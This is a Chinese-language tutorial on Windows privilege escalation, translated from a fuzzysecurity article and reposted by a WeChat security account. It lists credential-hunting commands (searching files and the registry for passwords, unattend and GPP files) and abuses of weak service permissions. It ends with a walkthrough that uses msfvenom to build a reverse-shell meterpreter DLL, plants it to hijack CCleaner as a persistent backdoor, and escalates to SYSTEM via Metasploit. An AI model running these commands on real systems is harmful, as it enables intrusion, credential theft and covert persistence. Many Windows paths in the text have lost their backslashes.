歡迎光臨
每天分享高質量文章

Windows 提權基礎

來自:信安之路(微信號:xazlsec)

作者:TimeS0ng,本篇教程是筆者翻譯國外大牛 fuzzysecurity 的文章

http://www.fuzzysecurity.com/tutorials/16.html

再加上個人的理解寫出的關於 Windows 提權基礎的文章,其中有些地方因為不太實用所以做了適當修改,感謝 @hl0rey 的幫助和建議。

Indispensable Resources:

Encyclopaedia Of Windows Privilege Escalation (Brett Moore)

Windows Attacks: AT is the new black (Chris Gates & Rob Fuller)

Elevating privileges by exploiting weak folder permissions (Parvez Anwar)

Elevating privileges by exploiting weak folder permissions

Δt for t0 to t3 – Initial Information Gathering

這個教程從 Windows 的低權限 shell 開始講述如何提權。我們可能利用某個 EXP 或者從客戶端攻擊取得了一個反彈 shell 。最開始我們還不瞭解這台計算機,不知道它是乾什麼用的,連接到哪裡,有什麼等級的權限或者甚至不知道它是什麼操作系統。

最初我們希望快速的收集一些重要的信息,以便我們能夠評估我們所處的狀況,並作出正確的判斷!

首先查看連接的是什麼操作系統:

接下來查看主機名和當前shell 的用戶名:

現在我們已經有了基本信息,讓我們繼續列出其他的用戶賬號名並查看我們自己更詳細的信息。能夠看到我們的賬號 user1 不在 localgroup Administrators 中,不是管理員賬號。

以上就是我們目前需要瞭解的用戶和權限信息。接下來我們查看網絡配置信息。

首先我們查看可用的網卡和路由表

下麵使用 netstat 命令查看主機的網絡連接和防火牆規則

最後我們簡單的看看主機運行的內容:計劃任務、正在運行的行程、已經啟動的服務和已經安裝的驅動

Δt for t4 – The Arcane Arts Of WMIC

我想要單獨提及一下 WMIC (Windows Management Instrumentation Command-Line) ,因為它是 Windows 最有用的命令列工具。WMIC 對於信息收集和後滲透來說非常有用。不過這個工具比較重量級,所以不會一一介紹它的所有功能。

下麵鏈接有關於它的詳細使用教程,有興趣的可以去自己翻譯看看:

Windows WMIC Command Line (ComputerHope)

https://www.computerhope.com/wmic.htm

令人遺憾的是有些 Windows 的預設配置不允許使用 WMIC,除非用戶是在管理員組裡面。從對 WMIC 的測試中我註意到任何版本的 XP 系統都不允許低權限賬號使用 WMIC。相反,預設安裝的 Windows 7 Professional 和 Windows 8 企業版卻允許使用低權限賬號使用 WMIC 來查詢系統信息而不需要修改任何設置。驚不驚喜,意不意外?

為了簡化操作,貢獻社會,方便大家,我寫了一個自動化腳本,它將利用 WMIC 收集以下信息:行程,服務,用戶帳戶,用戶組,網絡接口,硬碟驅動器信息,網絡共享信息,已安裝的 Windows 補丁程式,啟動時運行的程式,已安裝軟體串列,操作系統和時區信息。

你可以從這裡下載我的腳本

http://www.fuzzysecurity.com/tutorials/files/wmic_info.rar

你也可以從這裡下載我利用腳本收集的信息樣本

http://www.fuzzysecurity.com/tutorials/files/Win7.html

Δt for t5 to t6 – Quick Fails

繼續後續步驟之前,你應該花一點時間回顧以下剛纔所收集到的信息,因為現在我們已經得到操作系統大量的有用信息了.

儘管已經通過我的 WMIC 腳本收集到主機的補丁信息了,但是我們仍然可以通過下麵的命令來手動收集。

提權的 EXP 就那麼幾個,可以查看一下系統是否打有相關漏洞的補丁,沒打補丁就嘿嘿嘿了,常見的 EXP 有這些:

https://github.com/SecWiki/windows-kernel-exploits

大家可以下載對應版本的 Windows 試試這些 EXP。

下一個情景是如果某個環境中有大量的機器需要被安裝,那麼技術人員通常不會一個接一個機器的去安裝,他們通常會選擇自動化安裝,這就可能會遺留下安裝過程的配置檔案,這些配置檔案中會包含許多敏感信息,例如管理員賬號密碼,如果能得到這些信息將極大的幫助我們提權。

通常這些敏感檔案會出現在下麵目錄中:

c:sysprep.inf

c:sysprepsysprep.xml

%WINDIR%PantherUnattendUnattended.xml

%WINDIR%PantherUnattended.xml

這些配置檔案極可能包含明文密碼,也可能會出現 base64 編碼的情況,下麵是一些配置檔案的事例:

GPO 首選項檔案可用於在域計算機上創建本地用戶,當你控制的主機連接在域中時,那麼就非常值得去看看儲存在 SYSVOL 中的 Groups.xml 檔案,任何經過身份認證的用戶都可以讀取該檔案。儘管 xml 檔案中的密碼通過使用 AES 加密來保證安全性,但是通過 msdn 發佈的靜態密鑰可以很輕鬆的解密。

除了 Groups.xml 以外,其他幾個策略首選項檔案也可能存在 “cPassword” 屬性

ServicesServices.xml: Element-Specific Attributes

ScheduledTasksScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner Element

PrintersPrinters.xml: SharedPrinter Element

DrivesDrives.xml: Element-Specific Attributes

DataSourcesDataSources.xml: Element-Specific Attributes

如下所示,可以通過手動瀏覽 SYSVOL 並獲取相關檔案來利用此漏洞。

除了上面手動查找首選項檔案之外,我們也可以利用自動化工具來幫助我們達到目的。

可以利用 msf 中的一個後滲透模塊來實現自動化 post/windows/gather/credentials/gpp

https://www.rapid7.com/db/modules/post/windows/gather/credentials/gpp

接下來我們要查找一個奇怪的註冊表設置 “AlwaysInstallElevated” , 如果啟動此設置,它會允許任何用戶將 *.msi 檔案安裝為 NT AUTHORITY  SYSTEM 。

為了能夠利用這個,我們需要檢查兩個註冊表項是否已經設置,如果在這種情況下我們能夠彈出 SYSTEM shell. 通過下麵的命令可以查看註冊表項是否啟動。不過筆者測試時發現自己的 Windows7 並沒有這兩個鍵值。

This will only work if both registry keys contain “AlwaysInstallElevated” with DWORD values of 1.

C:Windowssystem32> reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstallerAlwaysInstallElevated

C:Windowssystem32> reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstallerAlwaysInstallElevated

最後我們也可能通過下麵的命令來挖到未知的寶藏

The command below will search the file system for file names containing certain keywords. You can specify as many keywords as you wish.

C:Windowssystem32> dir /s *pass* == *cred* == *vnc* == *.config*

Search certain file types for a keyword, this can generate a lot of output.

C:Windowssystem32> findstr /si password *.xml *.ini *.txt

Similarly the two commands below can be used to grep the registry for keywords, in this case “password”.

C:Windowssystem32> reg query HKLM /f password /t REG_SZ /s

C:Windowssystem32> reg query HKCU /f password /t REG_SZ /s

Δt for t7 to t10 – Roll Up Your Sleeves

希望到目前為止我們已經成功提權,如果確實還沒有成功提權的話下麵還有一些攻擊方法。在這最後一部分,我們會查看 Windows 服務和檔案/檔案夾 權限,我們的目的是利用弱權限來進行提權。當然這裡最主要是針對 Windows XP 系統。

接下來我們將利用一個 Windows 中大神級的工具集 Sysinternals Suite 中的 accesschk.exe 來批量檢查權限信息,讀者可以從這裡下載這個工具集

https://download.sysinternals.com/files/SysinternalsSuite.zip

接下來我們從 Windows 的服務開始,通過重新配置 service 的引數能夠讓我們快速達到目的。

我們也可以使用 accesschk 來檢查每個服務的權限級別

Accesschk 能夠自動檢查在某個用戶等級下我們對於 Windows 服務是否具有寫入權限。作為一個低權限的用戶,我們通常會想要去檢查 “Authenticated Users” 。

咱們來比較一下在 Windows 8 和 Windows XP SP0 中輸出的不同,

通過以上信息,我們能看到 upnphost 具有很大的權限,下麵我將演示一下如何實際應用這些信息來反彈 system shell

下圖列出了關於 Windows 提權的一些介紹,任何這些訪問權限都將給我們帶來 SYSTEM shell.

以上大部分都是根據外文翻譯過來的,然後我做了適當修改,再次感謝大哥 @hl0rey 的建議和幫助,下麵大家講一講我自己的騷姿勢,雖然技術內容都不是我自己發明的,但是我將幾種技術雜糅在一起之後居然產生了讓我自己都感到驚訝的效果!!

DLL 劫持原理

程式通常不能靠自己自動運行,它們往往需要呼叫許多資源(主要是 DLL 檔案,Windows 中的動態鏈接庫)。如果程式或者服務從一個我們擁有寫權限的目錄裡加載檔案時,我們就能夠利用這一點來彈 shell,當然這個 shell 的權限也就是該程式所擁有的權限。

通常來說 Windows 程式會使用一個預定義搜索路徑去尋找 DLL 檔案,並且會按照特定的順序來檢索這些路徑。當將惡意的 DLL 檔案放到其中一個路徑下,並保證該惡意 DLL 先於合法的 DLL 被程式找到時就會發生 DLL 劫持;也可能是程式尋找的 DLL 檔案名在系統中並不存在,這時我們只需將自己定製的 DLL 檔案放到程式的搜索路徑也可以達到目的

下麵你可以看到在一個 32 位系統中 DLL 的搜索順序:

1 – The directory from which the application loaded

2 – 32-bit System directory (C:WindowsSystem32)

3 – 16-bit System directory (C:WindowsSystem)

4 – Windows directory (C:Windows)

5 – The current working directory (CWD)

6 – Directories in the PATH environment variable (system then user)

通過上面的搜索路徑可以看到第六點環境變數,這也是我們比較容易控制的路徑,如果標的裝有 python,那麼 Path = C:Python27 就是我們可以控制的路徑,我們只需要將惡意定製的 DLL 檔案放到這個目錄就可以。

實戰演示

1、首先我在知乎上隨便搜了點關於 Windows 中的軟體,然後隨便選了一個感覺可能存在 DLL 劫持的軟體安裝到我的 Windows 7 虛擬機中

2、然後呼叫工具 DllHijackAuditor

https://securityxploded.com/getsoftware_direct.php?id=7777

自動檢測我們剛纔下載的軟體是否存在 DLL 劫持,根據下圖可以看到這裡面存在一共 5 個 DLL 檔案可供我們惡意劫持,這是我沒想到的,我確實是在網上隨便搜了一個軟體而已,沒想到居然會這麼不經摧折!

3、接下來我們利用 msfvenom 生成檔案名為 ext-ms-win-kernel32-package-current-l1-1-0.dll 的 DLL 木馬,用於進行 DLL 劫持。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.175.143 lport=4444 -f dll -o /root/ext-ms-win-kernel32-package-current-l1-1-0.dll

4、查看 Windows 的環境變數,並將 DLL 木馬檔案放入可控的環境變數中,這樣當我們啟動 CCleaner 軟體的時候就會呼叫我們的 DLL 木馬檔案反彈 shell

echo %path%

5、啟動 msf 的監聽樣式,默默等待用戶執行軟體,可以看到我們現在只是普通管理員權限

6、從 meterpreter 進入 shell 樣式,然後我們手動構建一個存在漏洞的服務,以便後續進行提權到 SYSTEM

sc create “times0ng test” binPath= “C:Program Files (x86) imes0ng testjust testevil.exe” start= auto

cd C:Program Files (x86)

mkdir “times0ng testjust test”

icacls “C:Program Files (x86) imes0ng test” /grant Everyone:(OI)(CI)F /T

7、呼叫 msf 的提權模塊進行提權,可以看到我們很容易就取得了 SYSTEM 權限

use exploit/windows/local/trusted_service_path

8、重啟 win 7 ,我們的 DLL 木馬仍然靜靜地躺在那裡充當著忠實可靠的後門,一旦用戶執行 CCleaner 就會觸發木馬(想象一下如果把 CCleaner 換成系統服務,還是開機自動啟動項,那麼一旦用戶重啟計算機就會觸發後門反彈給我們 SYSTEM shell)

相關視屏演示  https://m.bilibili.com/video/av21971995.html


●編號596,輸入編號直達本文

●輸入m獲取文章目錄

推薦↓↓↓

 

Linux學習

更多推薦18個技術類微信公眾號

涵蓋:程式人生、演算法與資料結構、黑客技術與網絡安全、大資料技術、前端開發、Java、Python、Web開發、安卓開發、iOS開發、C/C++、.NET、Linux、資料庫、運維。

赞(0)

分享創造快樂